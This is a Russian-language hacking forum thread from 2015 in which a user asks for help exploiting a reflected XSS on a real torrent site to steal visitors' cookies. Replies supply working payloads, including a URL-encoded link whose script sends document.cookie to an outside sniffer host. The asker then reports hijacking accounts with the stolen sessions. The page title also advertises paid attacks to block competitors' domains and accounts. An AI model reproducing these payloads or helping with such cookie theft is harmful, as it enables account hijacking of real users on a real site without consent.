УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
нашол такую хсс

Страница 1 из 2

Опции темы

Поиск в этой теме

Опции просмотра

16.08.2015, 13:04

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

нашол такую хсс при нажатие в правом углу на закрытие появляется алерт

http://www.torrentsmd.com/smilies_popup.php?text=3&container='+alert(+docume nt.cookie)+'&lang=ro

где типерь запихнуть сылку сниффера помоги пожалуста

http://hacker-lab.com/sniffer/images/251095_3.jpg

16.08.2015, 13:07

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

Неудаляите пожалуста тему а то надаело мучятся

16.08.2015, 14:25

hahanovB

Участник форума

Регистрация: 22.07.2013

Сообщений: 260

Провел на форуме:
86887

Репутация: 2

Цитата:

Сообщение от Octavian

↑
Неудаляите пожалуста тему а то надаело мучятся

У тебя пассивка ищи активку и тогда сможешь запихнуть сниффер...

Подробнее: тут

16.08.2015, 17:29

~~faza02~~

Banned

Регистрация: 21.11.2007

Сообщений: 181

Провел на форуме:
1066435

Репутация: 1013

Цитата:

Сообщение от hahanovB

↑
У тебя пассивка ищи активку и тогда сможешь запихнуть сниффер...
Подробнее:
тут

какая разница? JS все равно, разница в том, что пользователю нужно сделать доп. действие.

Цитата:

Сообщение от Octavian

↑
нашол такую хсс при нажатие в правом углу на закрытие появляется алерт
http://www.torrentsmd.com/smilies_popup.php?text=3&container='+alert(+docume nt.cookie)+'&lang=ro
где типерь запихнуть сылку сниффера помоги пожалуста
//hacker-lab.com/sniffer/images/251095_3.jpg

такого рода код:

'+((new Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'

не забудьте про URLEncode, плюсы в %2b, пробелы в +

16.08.2015, 19:44

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

Цитата:

Сообщение от yarbabin

↑
какая разница? JS все равно, разница в том, что пользователю нужно сделать доп. действие.
такого рода код:
'+((new Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'
не забудьте про URLEncode, плюсы в %2b, пробелы в +

Друг можно всю сылку и чтоб провериная была о то многие типа помоглали но ничево на снифере неприходило,спасибо

16.08.2015, 19:46

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

жутко пишу по русски прошу прощения ето не мои язык

16.08.2015, 19:49

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

Цитата:

Сообщение от yarbabin

http://www.torrentsmd.com/smilies_popup.php?text=3&container='+((new Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'&lang=ro

нехочет так

16.08.2015, 20:42

funny_kaplan

Познающий

Регистрация: 28.03.2013

Сообщений: 43

Провел на форуме:
16571

Репутация: 0

Цитата:

Сообщение от Octavian

↑
http://www.torrentsmd.com/smilies_popup.php?text=3&container='+((new
Image()).src='//hacker-lab.com/sniffer/images/251095_3.jpg'+document.cookie)+'&lang=ro
нехочет так

тогда так:

Цитата:

Сообщение от None

www.torrentsmd.com/smilies_popup.php?text=3&container=%27%2B%28%28new %20Image%28%29%29.src=%27//hacker-lab.com/sniffer/images/251095_3.jpg?%27%2Bdocument.cookie%29%2B%27&lang=r o

17.08.2015, 16:19

Octavian

Постоянный

Регистрация: 08.07.2015

Сообщений: 501

Провел на форуме:
97114

Репутация: 24

Цитата:

Сообщение от funny_kaplan

↑
тогда так:

друзя очередная непонятное проблема,спомошю сылке ворую сесию она ворует все значение кроме kogaionon_data а без нео никак

нехочет пропустить в акаунт даже если остальные значение от акаутнта(1) а значение kogaionon_data ставлю от акаунта(2) меня

прапускает в акаунт(2),выходит что астальные значение неважно от каково акаунта,и почему kogaionon_data неворуется помогите ето моя первая хсс

http://incomas.md/shop/2015.jpg